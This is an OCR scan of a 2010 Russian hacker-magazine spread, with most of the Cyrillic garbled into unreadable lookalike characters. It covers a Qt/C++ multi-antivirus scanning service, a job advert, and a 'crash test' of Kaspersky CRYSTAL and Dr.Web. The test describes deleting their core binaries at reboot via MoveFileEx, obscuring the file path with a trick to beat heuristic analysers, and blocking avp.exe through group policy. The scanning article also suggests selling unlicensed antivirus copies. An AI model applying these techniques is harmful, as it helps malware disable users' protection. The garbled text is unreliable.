«Cnot» onAvFinished|()

QString avName = avs.find(av) .value() ;
if ( avName.isEmpty () ){
gDebug () << "[-] Unknown process finished";
return;
}
avsRemains--;
QVirInfo info = parseOutput (av, output) ;
if (! info.isInfo ) {
writeResult (avName, "ERROR") ;
return;
}
if (! info.isInfected )
writeResult (avName, "OK") ;
else {
writeResult (avName, info.description) ;
avsFound++;
}
delete sender;
if (! avsRemains ) {
aDebug () << endl << endl << "Done, "
<< avsFound << "/" << totalAVs << "found!";
gDebug () << endl << "RankoR, Ax-Soft.Ru,
Russia, 2010";
writeFooter () ;
QCorelApplication::exit () ;
}

YyaeT dyHKUMs startCheck () :

void QAv: :startCheck (const QString &fName)
{
gDebug () << "[*] Scanning file";
fileName = fName;
QStringList params;
QAVProcess *process;
// BitDefender
process = createProcess () ;
params << "--action=ignore"
<< fileName;
process->startProcess ("bdscan",
params) ;

params.clear () ;

B napametp fName, kak HeTpyHO floragaTbes, nepefaetcs nMs dan-

na, KOTopbIl Mbl byfem npoBepsTh. B gaHHol cTaThbe 5 byAy nokasbiBaTh
B3aUMOAENCTBYE TONBKO C OLHVM aHTUBMPYCOM — fasblue Thl CMOXellb
NPOLOIKNTbL CaM.

KcTaTn roBops, 3Haelb, noyeMy napameTp nepefaeTcs B TakOM CTpaH-

HOM BuAe (const QString &fName)? [leno B ToM, 4To Npu nepegave
napameTpa no 3HadeHnio (To ecTb, HanpuMep, NpocTo QString fName)

B CTeK nepeMeHHas byleT KonmpoBaTbCs LieIMKOM, 1 3TO COBCEM He ry[,
anpunepeaaye noykasartenio (0String fName) B cTek BygeT Konnpo-
BaTbCS TONbKO afipec NepeMeHHon. MuHyc B TOM, 4TO Mbl ByieM BbIHY>K-
[leHbl paboTaTh C Hell kak ¢ yka3aTesieM. Hy a nepefaya no KOHCTaHTHOM
ccbifike — const QString &fName — 370 KOMBMHALMA ABYX NPeAbIAYLLNX
MeTOf08. B 1TOre B CTEK KONMPYETCS TOSIbKO yKasaTesb Ha nepemeHHyio (1o
ecTb sizeof (void*)), n paboTtaeM Mbl C HEl, Kak C 0BbIYHOV NEPEMEHHOI.
He obowwnock, KoOHeYHO Xe, 1 6e3 TOXKKM LLerTs — Mbl He MOXEeM U3MEHATb
nepeMeHHyto B Halen GyHKUMK. A oHO HaM Hafo? B faHHOM ciyyae — Her,
Hy @ ecin NoHaAo0bu1TCs, To MOXKHO 3aBECTU NEPEMEHHYI0 B CaMoii GyHKLMK
1 cKonupoBaTh ee Tyfa. «HekpacnBo», — ckaxellb Tbl. MoxeT BbITb, 3aT0

» 076

£ N

04eHb 3G deKTNBHO — dyHKLMA ByLeT BbI3bIBATLCA HAMHOTO beICTpee, ecnu
BCe MepeMeHHble BAe3yT B perucTpbl (Mpy ycnosum o3aHbs dpactkonnal.
JlagHo, NMpuKy B CTOPOHY, noexanw fasblue.

HagepHoe, Tbl 06paTun BHMMaHWe Ha gDebug () . 410 3707 3T0 NOTOK ANA
BbIBOJA 0TNaL04HOM UHdopMaLmn B Qt (oueHb yaobHas Bellb, Mexy
npounm).

[lanee Mbl co3faem NpoLLECC U NPUBSA3bIBAEM €70 K MEILMMCS CN10TaM C
noMmolLblo PyHKUMK createProcess (). OHa abcontoTHO TpuBManbHa:

QAvProcess *process = new QAvProcess;

connect (process, SIGNAL (onAvFinished
(QAVProcess*,QString, QString,int)),
this, SLOT (onAvFinished (QAvProcess*,
QString,QString,int))) ;

return process;

Kak Tonbko npouecc 3aBepluaeTcs, HauMHaeT cBolo paboTy cioT
onAvFinished () [cM.Bpeskycnesal

/ cHosa BBefy Tebs B kypc aena: avs — 3o QMap n3

typedef QPair<QString, QString > QResultPair;

OH cofilepXXnT Napbl «MMs NpoLLecca; Ha3BaHue aHTUBMPYCca» 418 NPOCTOro
pacrno3HaBaHWs 3aBepLUMBLLErocs npoliecca.

OpHa 13 BaxHenLwmnx GyHKUMIA B HaWel codTUHe — parseOutput (). Kak

BUWOHO M3 Ha3BaHW4A, OHa NapCUT BbIBOL aHTMUBMPYCa NpK ero 3agepieHnin n
BblAaeT pe3ynbraT CKaHpoBaHNA. Bbll’ﬂ‘Fl,D,MT OHa TakK:

QVirInfo info;
info.isInfo = info.isInfected = false;
if ( avName == "bdscan" ) { // BitDefender
if ( output.indexOf ("ok") >0 ) {
info.isInfo = true;
return info;
}
int index = output.indexOf ("infected:") ;
if ( index == -1 )
return info;
info.description = output.mid (index + 9,
output.indexOf ("\n", index) -
index - 9) .trimmed() ;

info.isInfo = info.isInfected = true;

TyT npovcxoAnT caMblil 06bIKHOBEHHBI pa3bop cTpoku. Ecnm Mbl He HaxoanM
KaKoro-To K/to4eBOro cjoBa — 3HauwT, owwnbka. Ecnv Haxoavm cnoso, co-
OTBETCTBYIOLL,EE OTPMLATENLHOMY pesysbTaTy [To ecTb, hain He 3apaxeH) —
Bo3Bpaliaem OK. MiHaye — konupyem BbIBO @aHTVBYPYCa 1 BO3BPALLAeM ero.
BepHemcsi kcnoty onAvFinished (). [locne napcuHra BbIBoAa Mbl NMLLEM
pe3ynbtat B dain B Buae HTML-Tabnvuel ans ynobHoro BeiBosia B bpaysep.
Bce! KocTsik cepsuica cozpaH. BectaeT Bonpoc: «A kak Ha 3TOM MOXHO 3apa-
BoTaTb»? Ha MoVt B3rnsg, ecTb jBa BapuaHTa:

1.«[MpuBaTHas» Bepcusa cepsuca. He oTnpasnaTe Ha npoBepky dalnbl 3a
Hebonbluylo geHexky. Y meHs — 1 ueHT 3a T aHTBMpyC. Kak peannsosatb?
Iptables Tebe B pyku!

2.PeknaMa. MoxHo pazMeluats baHHepsl TemaTndecknx GopyMoB/cepencos
W/VIN KOHTEKCTHYI0 peKaaMy oT TOro e ryrna.

3.Mpopaka NMLUEH3NOHHbIX BEPCUA aHTUBMPYCOB.

3AKJIOYEHUE

Kak nokasana npaktuka, camblii HANPSXHbIN MOMEHT B pa3paboTke — co-
3paHve canta. Henasuxxy PHP! Mocne noHaTHoro n nornyHoro C++ paspa-
6oTtka Ha PHP + Ajax nofobHa nbiTke, HO B UTOre MCMOb30BaHMe B KayecTse
Ajax-bunbnwuotekn Sajax, a SQL-ba3bl SQLite pelunno Bce Mov npobnemsl.
Ha aToM No3B0s1b CBEPHYTH MOE KpaTKoe NMoBeCTBOBaHMeE 1 noxenaTts Tebe
yAauHoli paspaboTtku. A byayT Bonpockl — nuwun. Mbina He ykasbiBato, noc-
KOJIbKY HaCTOSILMIA XaKep BCErAa v Tak CMOXeT MeHs HailTy :)..3e
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( ; www rmr ru

ebibuparom -
Hac?

I'Ipmrnamaelvl cneunanncTos

B HaUJ CFU'IO'-IEHHblM Vi TBOp'-IECKI/lI/I KO.)"U'IEI(TI»‘IBI

«UHXXeHep Te/IeKOMMYHUKALMOHHbIX CeTen»

TpeboBaHus:

* ONbIT paboTbl B TENEKOMMYHUKALMOHHbBIX KOMMAaHWUsIX
* 3HAHME OCHOBHbIX NPOTOKONOB MIHTEpHET

« 3HaHue Unix FreeBSD, CISCO I0S

* 3HaHMWe s3bIKOB NporpammupoBanus C, Perl

* OnbIT paboTbl ¢ ceTeBbiM 06OPyaOBaAHMEM.

Ob6si3aHHOCTMU:
+ HacTpoika cetTeBoro obopyaosaHus R
* nogaepxaHve PyHKLMOHNPOBaHNS CEPBEPOB N MapLLPyTU3aToOpOB.

Kanaupoaram Ha 3aHATUE 3TOW AO0MKHOCTW HY)XKHO 3anoNHUTL
aHkeTy Ha www.rmt.ru/employ_admin

«MHXXeHep TexHMYecKou noaaep>KKu»

TpeboBaHus:

* ONbIT paboTbl B TENEKOMMYHUKALMOHHBIX KOMMaHWUSIX
* 3HaHMEe OCHOBHbIX MPOTOKOMOB VIHTEpHeT

* onbIT paboTkl ¢ ceTeBbiM 060PyAOBaAHNEM.

O6s3aHHOCTM:

* TEeXHUYECKas nogaepxka aboHEeHTOB Mo TenedoHy

* yAaneHHas AuarHoCTMKa HEMCNPaBHOCTEW B CETU CBA3N
* HacTpoOWKa 1 NpoBepKa CeTeBoro 060pyaoBaHUS.

Kangnpgartam Ha 3aHsaTME 3TOW OOMMKHOCTH HYXKHO
obpartutkes kK NlopobuHckon Hatanse

142784, MockoBckasi 06r., JIEHUHCKWIA p-H, www.rmt.ru {
n.PymaHueso, busHec lNMapk, ctp.1, ocuc 4026 +7 495 988-8212 ~ Peknama



B B deeonis deeonis@gmail.com

KACMEPCKOMO ~
INSIDE

e

K_PalI.I-TECT
EYECTBEHHbIX
aHTUBUPYCOB

CypoBas npoBepKa rpanoB AV-UHAYCTPHM:

nobeausLmx Het!

AN\ \\\"\

Kak 0bbl4HO TeCTUPYIOT @aHTUBMPYChI? [TPOrOHSIOT MX Ha CneuManbHo
3aroTOBJIEHHbIX 310BpeAax, NbiTaloTca BCaYeckm 000MTU 3BPUCTUKY,

BblIbpaTbCA M3 NeCOYHMLbI... Taknx TecToB NosHo B CeTn, HO B 3TOT pa3 BCe
byaeT nHave. Mbl bynem npoBoauTh Kpall-TecTbl. Mbl bynem rpybo nomats
1 BbIBOAWTE M3 CTPOS CaMble KpPYTble aBepPCKMe MOAENKM 1 B UTOTE Y3HAEM,

KTO N3 HNX OKa3aJlCA CaMbIM KPETTKNM.

CeropHdalHee TecTMpOBaHUe 6yayT Npoxo-
OWTb [1BE€ aHTUBUPYCHbIE Nporpammel. [lep-
BblVt cnbiTyeMblll — Kaspersky CRYSTAL. 3To
10 pa3pabaTbiBanoch cneumnanbHo 48 KOM-
NAEKCHOW 3aLWNTbl M0JIb30BaTEIbCKOr0 KOM-
nbtoTepa. B Kprctane, nomrmo knaccuyeckoro
CKaHepa v pe3nLeHTHOro MPoakTUBHOIO

MOJYNs, eCTb TakXXe CPeiCTBa POAUTENBCKOMO
KOHTpOSS, WrdpoBaHMe AaHHbIX, MEHEAXEP
naposew, KoTopble A9 Hac 0coboi LLeHHOCTH

» 078

CeroAHsa He npefcTasnsioT. BTopeimM kaHamaa-
TOM Ha yHn4ToXeHue bynet Dr.Web Security
Space Pro. Ero ¢yHkumoHan uyTb begHee. HeT
MeHe/Xepa napofiei, BUpTyaNbHOW kNaBwa-
TYpbl M MPOYNX MONE3HBIX U HEe O4eHb GUY.
AHTWBMPYC NpeAHa3HayeH 418 KOMMIEKCHOro
NpOTUBOAENCTBUS MHTEPHET-Yrpo3aM B cove-
TaHWMW C LONONHUTENbHOW 3aLLMTON OT CETEeBbIX
aTak 6naronaps BCTpoeHHoMy bpeHamMayspy.
0b6a aHTUBMpPYCca o4eHb NonynspHsl B Poccuu,

a Kaspersky ellie v BXOAWUT B MUPOBYIO NATEPKY
caMblX NPoOAaBaeMblX MPOrpaMm ANs 3aWnThl
0T 3/10BpefoB.

NMPUHUUN TECTUPOBAHUA

[ins npoBepky aHTMBUPYCOB Ha MPOYHOCTb Mbl
pa3paboTanu naTe cobcTBEHHbIX TecToB. Heko-
Topble TecTbl NpeAcTaBAsioT coboli cneymnans-
HO HamucaHHble MPorpaMMebl, 4pyrne MoXHO
BbINMOJIHUTH BPYYHYIO C MOMOLLbI0 CTAHAAPTHbIX
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T - T islx
Kaspersky CRYSTAL 0 s oonwsas @) vl Go Gt Foma Yon tep
i @ === HAYAND FANWCH ana: 6/17/2010 3:06:02 === -
| Hauano AeAcTBMA 3:06:02: INSTALL.
| Hauwano AsAcTeWA 3:06:02: temFolder, 444 FC200_CASO_47FE_BD6A_BTSCAGIO057A0,
= PognTenboi 16:02: SystemFolder.444FC200_CASO_47FE_SD6A_B75CAG3057A0. Koa sosspaTa 1.
ps [ ﬁ :02; CommonFilesrolder . 444FC200_CA50_d7FE_SDBA_B75SCAB30STAD.
R "IOVEORatNe 3avepuenie AEACTEMA 3:06:02: CommonFilesFolder.444FC200.CASO_47FE ? CA6305?A0 Kos sozepara 1.
Hawano agicTena 3:06: ConmonFilesFolder, 330C26E4_9096_d SDE_SDEB_FABLT7773E!
SagepueHHE AEACTEMA 3@ 61021 commonFilesFolder, 330C26E4_S006_4 snE_BDss_FAm.????BESC Kop, eozepaTa 1.
it T smereTmpns Hauano AgACTBMA 3:06:02: SeTKLSETUPDIR.
[ N — setsetupbir entry point
Hs:aa:ﬁrupwty originalpatabase: C: \h‘.lmous_l nsv‘l'llr\r“ni.msi
M5 1 SETPropert KLSE".PUIR‘ CI\WINDOWSHINSTA
i o e ) e ™ setsetuphir return ptsﬂ o 3
AEHCTBMA 3:06:03: SeTKLSETUPDIR. Kog eozeparta 1.
Braonacuect it Hauano AsAcTens 3:06:0: : search. K

et BT n DS CTDELSE

BapepuweHme AERCTBMA 3:06
Hauwano AefcTerA 3:106:0;
3apEPUEHME AEACTEWA 3:

AppSearch. ltl:ut spaspaTa 1.
: ched:n istr ssions £

6:03: Chlciqu* s(l'ynr-issions Kog so3zepaTa 1.

checkreboot

Hauano AgAcTEMA 3:06:0: ing.

FapepueHue uﬁmua 3:06:03: chlckkabmnnding. Kop sozepaTa 1.

Hauano penctena 3:06:03: Fin :lqlzg

Findapp Gumiquumexume' 6111769a3233223F69c2634372235342c30674151014136b
Bapepuenme peRcTEMA 3:06:03: Findapp. Kon N:IiipiTi 1.

Hauano AsACTEMA 3:06:03: ErrorAppRUnning
MSI (s) (5C:a4) [03:06:03:915]: I'Ipor‘pauua Kasparslcy CRYSTAL -- Ana np

ANA NPOAOMKEHHA YCTAHOBKK Heobxopmmo mm Kaspersky CRYSTAL.

YCTAHOBKH |

Cnpases | Ml saBiwer | Miogsemons | Meyewan: ocrascs 31 gews R v o | |

B

ARACTBMA 3:06:03: Errorappl ngshow. Kop, eozepata 3.
SasepuieHme p.eﬁmua 3:06:03: INSTALL. l«m BO3BpaTA 3.

Kpuctannsanyctuiacd. [losieT HopManbHbINM!

Property(s): Manufacturer = NabopaTopuA Kacnepckoro

Property(s): Prad crCode = 1A59064A-12A9-169F ~99F6-04 BF11B0BCFF }

Property(s): P

Property(s):

Prnductuame = Kasgersky CRYSTAL
Property(s):

Productversion = 99
Property(s): upgradecode = {8C28aA9B-9756-4AD5- BFQF 82CBBTCOACAB}

Property(s): Producthame_NOM = Kaspersky CRYSTAL

Property(5): ProductName_GEN = Kaspersky CRYSTAL

Kaspersky' CRYSTAL

IGTEENIMEREEG GNEGEEE TRAATSE

Property(s): Producthame_INS = Kaspersky CRYSTAL

Property(S): ErrorDialog = Errorbialog

Property(s): pefaulturFont = Mainpialogront

SanycKkaeTca NOTEHUMANEHO ONacHas NPorpamMMa
TEST.EXE. MNporpamia He MMeeT uMdposoi
noankck, 0bnagaeT BbICOKKM PEATHHIOM
ONacHoCTH.

fosepaeTe N1 Bbl 3TOM Nporpamme?

-

% [a
PaspelunTs MCNONHEHIE NPOrpanMel

% OrpaHuunTb
PaspelwnTs UCNONHEHUE Nporpamme!, 3abnokuposas
TONBKO ONacHeIe oNepaLyn

% Her
3anpeTTs MCNONHEHME NPOrPaMMel

Bl ncnons3yerte npobuyro sepono.
Pekomengyerca npnobpectn KoMMEPYECKYO BEPCHIO.

[MoTeHllMaabHo onacHag nporpamMma. Jlenc-
IBUTENbHO, eCTby Hee TakOn HeloCcTaTokK.

nHctpymeHtoB Windows. KctaTtu, Bce ucnbliTaHns npoBo-
natca 8 Windows XP Professional SP3.

3a npoxoxaeHne Kaxaoro Tecta byaeT BbICTaBAATLCA
oueHka no naTnbanbHOM cMcTeMe — COBCEM Kak B LIKOE.
EAMHNULBI, KOHEYHO, Mbl HUKOMY CTaBUTb He ByfeM, Ho 1
3aBblWaTh 6annbl 3a cNOCOOHOCTb K BbIXKMBAHUIO — HE B
Hallux npaBunax. B koHue Mbl nogcynTaeM cpegHeapund-
MeTM4yeckoe BCeX OLLeHOK U MOCMOTPUM, KTO 0Kasascs
CaMbIM CTONKNM.

Tenepb HEMHOIO 0 cCaMmux TecTax. Tak Kak Mbl TyT MPOBOAUM
He abbl YTO, @ Kpal-TecTUpOBaHMe, TO U UCTIbITAHUS Y HAC
bynyT cootBeTcTBYlOWMe. OCHOBHaR MX Leflb — BbIBECTY
13 cTposi aHTeupycHoe MO Kak MOXHO He3aMeTHee 18
nonb3oBaTens. Ecnv B pesynbTaTe BbINONHEHUS TOTO UK
MHOrO TecTa 3alnTHble GYHKUMM HalLWX KAHAWAATOB

«Ha YHWUUTOXeHMe» nepecTanu paboTaTb, TO aHTUBMPL
nosy4aeT XuUpHYI0 ABOIKY. B npoTnBHOM cnyyae Mbl bynem
cMoTpeTh, kak [0 cnpasunock ¢ npobnemoit. Ecnu nepepg
CMepTbio eMy YAaN0Ch BblaTb kKakoe-Hnbyab coobuye-
Hve — Hauucnsem Tposk. Kak yxe bbino ckazaHo Bhile,
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TaviHaga nenMHCcTannauma 3akKoHYMIach 00J10MOM

Kpal-TectoB byaeT Bcero nath. [lepBbiit TecT byneT Tyno
NbITaTbCA yAANNTL CaMble BaxKHble buHapHble daiinel anc-
TpnbyTrBa aHTMBUPYCa. Ho He NpocTo yaanuTh, a yaanutb
npu 3arpyske OC c nomoubto cneyvansHoit API-dyHKumm.
BTopoii byseT fenaTb To e camoe, HO NPV 3TOM elle u
XUTpo WindpoBaTh UMA yaanaemoro daina, 4tobbl aHTU-
BWpb He lorafalics, YTo ero XoTAT CTepeTh C NpakTu4eckn
CcobCTBEHHOrO0 XXecTKOro Ancka. TpeTuit TecT, onsaThb Xe,
yAanaeT XN3HEeHHO BaxKHble Gaiifbl, HO MPU 3TOM CKpbiBaeT
3T0, MacKMpys BbI30B CMepTOHOCHOW API-dyHKUMM Nog
coBepleHHOo be306UAHbIN KOA,.

YeTBepToe v NATOE UCMbITaHNE CTOAT 0COOHSAKOM, moc-
KoJIbKY Dy/lyT BBIMOSIHATHCS C MOMOLLLbIO CTAHAAPTHbIX
cpencts OC Windows — HUKakunx cneymanbHbIX yTUANUT

Mbl caTh He byaem. PasymeeTcs, npu xenaHuv sce

3T0 MOXHO peann3oBaTh U NporpaMmHo. MTak, oanH n3
TecToB byAeT 3anpeliaTh 3anyck aHTUBKpPYyca NOCPeACTBOM
nonuTKK besonacHocTu, a BTopoi nonpobyeT fenHcTanim-

[WARNING |

> warning

He vcnonbayin
HeNNLEH3VNOHHbIE
BEPCKM aHTUBUPYCOB
B CBOEM CepBUCE U He
xoctuch B Poccum.

[INFO

poBaThb 10 be3 nuiwHero Wwyma v Nbiw. info

VITak, Korfa Mbl HeMHoOro pazobpanuck ¢ TeMm, 4To bysem RESPECT

[,eNaTh, NPUCTYMUM HEMOCPEACTBEHHO K Kpall-TeCTaM. fpynne 1-3-1
(MpuknagHan

TECT N21 Matematuka) MITY
«CTaHKUH».

[MepBbili TecT byAeT NpoOM3BOAUTLCS C MOMOLLbIO Creunanb-
HO HamMMCaHHOM yTUANTLI. B KOMaH4HOM CTpoKe Mbl Nepesa-
OUM el noNHoe nMs daiina, KoTopblil XOTUM yAanuTb Npu
cnepyrouleii 3arpyske OC. [porpamMma BbI30BeT CUCTEM-
Hyto dyHKuMio MoveFileEx, koTopaa MoxeT nepemelyats
dannbl v nanku. [epsbilil ee NapamMeTp — 3T0 NOJIHOE UMS
nepemMelyaemMoro dalina, BTopoit — kyfa bygem nepeme-
aTh, a TPETUIN — dnar, KOTopbI 3aiaeT HEKOTOpbIe ONLuun
nepemelleruns. Ecnu BTopoii napamMeTp ocTaBUTb NyCTbIM,
To ectb nepepaTb NULL BMecTo cTpoku c HOBbLIM MECTOM
XpaHeHwus, a B kadyecTBe GnaraycTaHoBWUTb 3HaYeHNe
MOVEFILE_DELAY_UNTIL_REBOOT, To Hy>XHbI HaM daiin
bynetynaneH Bo Bpems 3arpy3ku OC.

Bce npocto. Bcero ogHa GyHKLMS, U HUKEGKOTO XUTPOYM-
HOro Kofa. Takylo yTUANTKY MOXeT HanucaTb laxe yHeHuK
cpeAHelt wkonbl. Tenepb NpoBepUM, Kak oHa NoAencTeyeT
Ha Hawwu aHTMBMpYcChl. [lepBbiM Mo cnucky naet Kaspersky
CRYSTAL. Ecnu nocMoTpeTb B MeHeAXep NpoL,eccos,

To Mbl yBUAMM, 4To Kacnep fBa pa3a 3anycTu avp.exe.
OpHa Konus 3anylieHa C CUCTEMHbBIMU MPUBUAETUSIMY, @

DieHard, YaesU, metal
Asechka.Ru com-
munity
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[ns lwndposaHms Ny K daliny Bo BTOPOM TecTe U MackMpOBKM nepeaasdn
¢dnara MOVEFILE_DELAY_UNTIL_REBOOT ¢yHkumnn MoveFileExs
TPEeTbEM VCMOb30BACS CNeLManbHbINA TPHOK, KOTOPbIV N03BoONAET 060/TH
3BPUCTUYECKVIE aHaNM3aTopbl aHTBMPYCcHOro [10. Ecnv Mbl coxpaHim
KJTi04 /151 PACLLVPOBKYM HEKOW CTPOKY B MaMsITU MPOrpaMMbl HanpsiMyio (8
BU/IE KOHCTAHTBI UM NepeAaBaemoro 3HayeHus), To aHanm3aTops Koga cMo-

YT OTCNEeAMTH BCHO LLeMOYKY MCNOb30BaHNSA 3TOMO KNtOUa U B KOHLLE MOJTy4MnTb
NCXOAHYIO MiHGOPMALLMIO B PACKPUMTOBAHHOM BUAE.

Ho kntou MoxxHo chopMmpoBaTh 13 ABYX HacTelt: ba3oBas 1 NceBaoCy-
yaiiHas YacT. basosas 4acTb — 3T0 MPOCTO YKCII0, KOTOPOE XPEHUTCS B
namsTv. Beck pokyc B nceBpocnyyaiiHon yactv. Ee Hapo creHeprpoBsaTh
TakK, YTobbl 3BPUCTMHECKAs MaLLWHA He CMOTJ1a NPoaHannM3npoBaTh Kog,
reHepauuy. Cenatb 3T0 MOXHO, BbI3BaB HEKOTOPYIO CUCTEMHYI0 QYHKLINIO
CTaKMMU NapaMeTpamu, KOTopble MPUBEAYT K OGHO3HAYHOMY pesynsTaTy:

DWORD pseudoRandomDigit (const DWORD digit)
{

fopen ("dsjklfjsdlk", "r");

DWORD err = ::GetLastError() ;

return digit + err;

®yHkumn pseudoRandomDigit nepepaeTtcs bazosas yacTs kitova. [ocne
3TOM0 Mbl MbITAEMCS OTKPbITb HECYLLECTBYIOLLMIA Gaiin, B pe3ysbTaTe Yero
MosTy4Y1M BMOsIHe OnpeaeneHHblit ko olunbku. [NprbaBnsas aToT kof K
BazoBoit YacTv KIlloYa, Mbl NMiLLaeM 3BPUCTUYECKNE aHANN3ATOPbI BCAKOM
HaAeXabl MOHATh, YTO XKe BCe-Taku Npon3oLLno. B peaynsrate Yero aHTu-
BMPYC He MOXET pacLLndpoBaTh CTPOKY, @, CleJOBaTENbLHO, U MPEAbIBUTL
Kakume-n1bo npeTeHsnm.

BTOpasi — C NpaBaMu akTUBHOIO B JaHHbI MOMEHT Nonb3oBaTens. Yaa-
NATb byAeM UMeHHO 3TOT $aiin, KOTOpPbIA MO YMOAYaHWIO TEXUT B nanke
«%programfiles%\Kaspersky Lab\Kaspersky CRYSTAL\». 3anyckaem
YTUAWTY, Nepeaas el B KA4eCTBe OAHOMO U3 NapaMeTpoB NOSHOE VMS
3K3elHuKa 1 ... KpycTan Havan pyraTbCs Ha Hally TECTOBYH YyTUAUTY,
onpefenns ee peNTUHI 0MaCHOCTH Kak «BblCOKMIA». Ecnu Bbl 370 Bbin
peasbHbl 3/10Bpef, TO MNosb30BaTeNto NPULLITOCH bbl peluaTs, pa3pelwmnTb
nof03pVTeNbHON NporpamMMe BbiMONHWUTLCA AN HeT. Ecnu Bce-Taku gaTb
cBoboAy Halwen yTnauTe, To nocne pebyta cMCTeMbl aHTUBMPYC He 3anyc-
kaeTcs. [lporpamma caenana cBoe Aeno v yaanuia rinasHslii bBrHapHuK
Kacnepckoro. B cnyyae 3anpeTta BbINOAHEHNSA NOAO3PUTENBHOM TyN3bl
Bce byfleT Xopolwo — avp.exe 0OCTAHETCS Ha CBOEM MECTe M Mo-MpexXHeMy
ByneT pagoBaTh nonb3oBaTesell KpacMBOW MKOHKO B Tpee.

WNTak, Kaspersky CRYSTAL npolen nepBoe ncnbiTaHue, HO, K coxa-
NeHWIo, BCEro NMWb Ha Tpoeudky. O4eHb 4acTo NOAb30BaTENN XMYT Ha
KHOMKY «[la» He ynTas, 4To TaMm NULLYT.

Cnepytouwee 3awntHoe [0 — Dr.Web Security Space Pro. B otnnune ot
CRYSTAL, HokTop Beb cocTonT M3 MHOXECTBA MCMONHAEMbIX exe-daii-
N0B, KaXAbll1 U3 KOTOPbIX OTBETCTBEHEH 3a CBOIO GyHKUMI0. Ho yaanuts
Mbl monpobyem camblii rnaBHbIN BrHapb, KoTopblil, kak 1 B Kacnep-
CKOM, 3anyckaeTcs oT UMeHun cucTemsl — dwengine.exe. TecToBas
yTunuta yganeHus otpaborana 6e3 npobnem, [lokTop gaxe He nuck-
Hyn. Ho nocMoTpuM, 4To BysileT nocne nepesarpysku. A nocre Hee Bce
0CTanoch Ha CBOUX MecTax — aHUTBUPYC Kak HoBeHbkuni! Hy yTo Xe,
nonpobyem cTepeTb Kakoi-HMbYAb ApYroi BaxKHbI Gain, HanpuMep,
yTUANTY 0bHOBAEHUS 1K Ba3bl ¢ curHatypamu. [locne HeckonbKux
3amnyckoB CMEPTOHOCHOTO KOfa 1 nepe3arpy3ku komnstoTepa dokTop
0CTAeTCH XMB, U MO3TOMY MOJIy4aeT 3a NepBOE NCMbITaHNe TBEPAYIO
naTepky. Hukakoro wyma, HUKakux BonpocoB K Nonb3osaTesto. [1pocTo
He yaanaeTcs :).
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TECT N22

BTopoli kpalu-TecT o4eHb MOXOX Ha NepPBbIiA, HO C OAHUM eANHCTBEH-
HbIM OTINYMEM — NyTb K yAansaeMomMy dainy Mel nepefaeM B 3awndpo-
BaHHOM Buze. [Mpouenypa wWrdpoBaHus Toxe He coBCeM npocTas. Mbl
“crnonb3yeM crielnanbHblii TPIOK, YTOObl 0OMaHyTb 3BPUCTUKI HALLMUX
aHTMBMpYycoB. [logpobHee 06 3TOM MOXHO No4KTaTh BO Bpe3ke. A noka
MOCMOTPUM, KaK CripaBaTcs ¢ 3TUM ucneiTaHnem Kacnepckuii u [loktop
Beb.

[Mepsbili B ovepean — Kaspersky CRYSTAL. [peaBapuTensHo 3awnd-
poBaB MyTb K avp.exe, Mbl NepefaemM ero Halei ytunute. Peakuus
KpuvicTtana Ha BTOpoii TeCT NONHOCTbIO COBMafaeT c peaklnei Ha nep-
Bbll. AHTUBMPYC NPeANoXua BblbpaTh, YTO feNaTh C MoL03PUTENbHON
nporpamMmoil. B cnyyae, ecnu Mbl pa3peluaemM ee BbIMOHEHWe, Noce
nepe3sarpy3sku Kaspersky He 3arpy3utca. VITor: BTopoe ucnbiTaHune
Kacnep Toxe npoxoanT Ha TPOKy.

Cutyaums c Dr.Web nonHocTbio naeHTUYHa npeabigytieit. Bce nonbitku
yhanutb kakne-nunbo dannel, Tpebyemblie gns ero paboTsl, noTepnenu
Heynady. He ynananca naxe baHanbHbil license.txt! 3a Takyio cToi-
kocTb JokTop Beb nonyyaet nate.

TECT N23

TpeTbe ncneiTanune Takxe byAeT yAanaTb HyXXHble 4151 aHTUBUPYCHOTO
M0 dannbl, Ho Npu 3ToM byfeT MackmMpoBaTh caM GakT NoMNbITKM yaane-
Hus. Kak roBopunocs Bblille, 151 TOTO, YToObl CTepeTb $aiin npu 3arpys-
ke OC, HyxHo dyHKumm MoveFileEx B kauecTBe ogHOro 3 napameTpos
nepepnate pnar MOVEFILE_DELAY_UNTIL_REBOOT. MMmeHHo 3TOT pnar
Mbl 1 3aMackvpyemM noa Heuto 6e30bKaHOe, YTO NO3BONUT yChINMNUTL
BANTENBHOCTL 9BPUCTUKM (CM. Bpe3Ky).

Ha 3anyck Tecta c Mmackuposkoit ynanenns Kaspersky CRYSTAL Hukak
He npopearvposan. CoobuieHune, B koTopoM Bl roBopunock 0b onac-
HOW NporpamMMe, He nosiBUNoCcb. MoxeT 6bITb, Kprictan bnokunpyet aTy
yrpo3y BTuxaps? [lepesarpyxaem, u... HeT. Kacnepckuii npoanun aToT
TecT. [10 He 3aMyCcTWUOCh, avp.exe NCYe3 C XeCcTKoro fgucka bes kakmx-
nnbo cnepos. MacknpoBka yganeHuns ¢painos npuHecna cBOW Naoabl.
AHanuzatop koga CRYSTAL He cMor pacno3HaTb yrpo3y v nonnatuiacs
3a 370. Pe3ynbTat: ABONKA N HUYeEro, KpoMe ABOIKK. A uTo xe ¢ DrWeb?
[poBanuT Nv oH, HakoHel, X0Tb 0AHO UCMbITaHNe? Kak okasanoch, HeT.
[okTop TBEpA, kKak ckana. Hukakve xuTpble NONbITKM YAAAUTb BaXKHble
bannbl ero He bepyT. A BCe M3-3a TOr0, 4TO AOCTYN KO BCEM HYXXHbIM U
HeHY>XHbIM b1HapHUKaM 13 auctpunbytruea Beba bbin 3abnokunposaH

Ha ypoBHe ¢balinoBol cucTeMbl. Takon noaxon pelunn Bce npobnemsl ¢
BaHAann3MoM. [1pocTo Tak NOMEeHATL 3TW NpaBay Hac He NoNy4YnuTCs,
BCe raliku 3aKpy4eHbl 04eHb Kpenko. 3acnyxeHHas natepka.

TECT N24

Cnepnytowmii TecT Mol byeM NpoBOAWTH C MOMOLLbIO CTaHAaPTHbBIX
nHctpymeHToB Windows XP Professional. B rnasHoM MeHio cuctemsl
BblbepeM NyHKT «BbinonHUTL...» N BNULWeM Tyfa cnefyioliee: gpedit.
msc. OTKpoeTCH KOHCOb C FPyNMoBbIMK MOAUTMKAMU. TaM BbibepeM
«User Configuration», 3atem «Administrative Templates», «System».
CnpaBaHangem «Don't run specified Windows applications». 3ta on-
LMS NO3BOJAET 3aNpPeTUTb 3aMnyck ONpeAeneHHbIX MPOrpaMM Ha 0CHoBe
VX UMEHU.

[ns Kacnepckoro mbl bysem bnokunposats avp.exe. [Tponucas 3anpet
Ha ero 3anyck B nonuTukax Windows, Mbl nepesarpyxaem KOMMblOTep

